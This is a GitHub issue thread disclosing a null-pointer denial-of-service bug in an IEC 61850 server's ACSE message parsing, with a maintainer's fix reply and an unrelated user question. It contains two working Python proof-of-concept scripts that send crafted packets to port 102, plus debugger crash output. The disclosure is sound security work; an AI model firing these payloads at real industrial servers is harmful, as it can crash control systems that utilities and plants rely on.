Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Denial of Service caused by uninitialization pointer read #252

Closed
leommxj opened this issue Aug 21, 2020 · 4 comments
Closed

Denial of Service caused by uninitialization pointer read #252

leommxj opened this issue Aug 21, 2020 · 4 comments

Comments

@leommxj
Copy link

leommxj commented Aug 21, 2020

when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse
s.send(payload) # send payload 

because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0xc
$rdx   : 0x0
$rsp   : 0x00007fffffffe160  →  0x0000555555870778  →  0x0000000000000000
$rbp   : 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0  →  0x00007fffffffe400
$rsi   : 0x0000555555870778  →  0x0000000000000000
$rdi   : 0x0000555555870790  →  0x0000000000000000
$rip   : 0x00005555555add8d  →  <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x40
$r11   : 0x246
$r12   : 0x0000555555562f40  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe4e0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe160│+0x0000: 0x0000555555870778  →  0x0000000000000000    ← $rsp
0x00007fffffffe168│+0x0008: 0x0000555555870790  →  0x0000000000000000
0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0
0x00007fffffffe178│+0x0018: 0xff315555555b0b55
0x00007fffffffe180│+0x0020: 0x0000000c00000008
0x00007fffffffe188│+0x0028: 0x0000000100000000
0x00007fffffffe190│+0x0030: 0x0000000000000000
0x00007fffffffe198│+0x0038: 0x773ed24e14015600
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax
   0x5555555add86 <AcseConnection_parseMessage+71> mov    rax, QWORD PTR [rbp-0x10]
   0x5555555add8a <AcseConnection_parseMessage+75> add    rax, rdx
 → 0x5555555add8d <AcseConnection_parseMessage+78> movzx  eax, BYTE PTR [rax]
   0x5555555add90 <AcseConnection_parseMessage+81> mov    BYTE PTR [rbp-0x21], al
   0x5555555add93 <AcseConnection_parseMessage+84> mov    ecx, DWORD PTR [rbp-0x18]
   0x5555555add96 <AcseConnection_parseMessage+87> mov    edx, DWORD PTR [rbp-0x14]
   0x5555555add99 <AcseConnection_parseMessage+90> lea    rsi, [rbp-0x20]
   0x5555555add9d <AcseConnection_parseMessage+94> mov    rax, QWORD PTR [rbp-0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ────
    427
    428      int messageSize = message->size;
    429
    430      int bufPos = 0;
    431
             // buffer=0x00007fffffffe190  →  0x0000000000000000, bufPos=0x1
 →  432      uint8_t messageType = buffer[bufPos++];
    433
    434      int len;
    435
    436      bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
    437
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778)
[#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1)
[#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70)
[#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1)
[#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70)
[#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880)
[#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260)
[#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)

I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?

leommxj from Chaitin Security Research Lab

@mzillgith
Copy link
Contributor

Thanks for the detailed analysis. I added a check to fix it. Probably there are also more checks required for other missing fields.

@leommxj
Copy link
Author

leommxj commented Aug 27, 2020

in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters
s.send(payload) # send payload , 

you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?

@Saleem344
Copy link

Saleem344 commented Aug 29, 2020

in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters
s.send(payload) # send payload , 

you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?

when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse
s.send(payload) # send payload 

because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0xc
$rdx   : 0x0
$rsp   : 0x00007fffffffe160  →  0x0000555555870778  →  0x0000000000000000
$rbp   : 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0  →  0x00007fffffffe400
$rsi   : 0x0000555555870778  →  0x0000000000000000
$rdi   : 0x0000555555870790  →  0x0000000000000000
$rip   : 0x00005555555add8d  →  <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x40
$r11   : 0x246
$r12   : 0x0000555555562f40  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe4e0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe160│+0x0000: 0x0000555555870778  →  0x0000000000000000    ← $rsp
0x00007fffffffe168│+0x0008: 0x0000555555870790  →  0x0000000000000000
0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0
0x00007fffffffe178│+0x0018: 0xff315555555b0b55
0x00007fffffffe180│+0x0020: 0x0000000c00000008
0x00007fffffffe188│+0x0028: 0x0000000100000000
0x00007fffffffe190│+0x0030: 0x0000000000000000
0x00007fffffffe198│+0x0038: 0x773ed24e14015600
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax
   0x5555555add86 <AcseConnection_parseMessage+71> mov    rax, QWORD PTR [rbp-0x10]
   0x5555555add8a <AcseConnection_parseMessage+75> add    rax, rdx
 → 0x5555555add8d <AcseConnection_parseMessage+78> movzx  eax, BYTE PTR [rax]
   0x5555555add90 <AcseConnection_parseMessage+81> mov    BYTE PTR [rbp-0x21], al
   0x5555555add93 <AcseConnection_parseMessage+84> mov    ecx, DWORD PTR [rbp-0x18]
   0x5555555add96 <AcseConnection_parseMessage+87> mov    edx, DWORD PTR [rbp-0x14]
   0x5555555add99 <AcseConnection_parseMessage+90> lea    rsi, [rbp-0x20]
   0x5555555add9d <AcseConnection_parseMessage+94> mov    rax, QWORD PTR [rbp-0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ────
    427
    428      int messageSize = message->size;
    429
    430      int bufPos = 0;
    431
             // buffer=0x00007fffffffe190  →  0x0000000000000000, bufPos=0x1
 →  432      uint8_t messageType = buffer[bufPos++];
    433
    434      int len;
    435
    436      bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
    437
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778)
[#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1)
[#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70)
[#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1)
[#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70)
[#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880)
[#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260)
[#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)

I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?

leommxj from Chaitin Security Research Lab

Hi I need help from you I'm reading parameters from IEC61850 device with python for reading value ,timestamp and quality it is taking 25 milliseconds when I'm reading 30 parameters 25×30 this soo much time can you help me to reduce time, any solution to read parameters with less time

@leommxj
Copy link
Author

leommxj commented Sep 6, 2020

@mzillgith

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants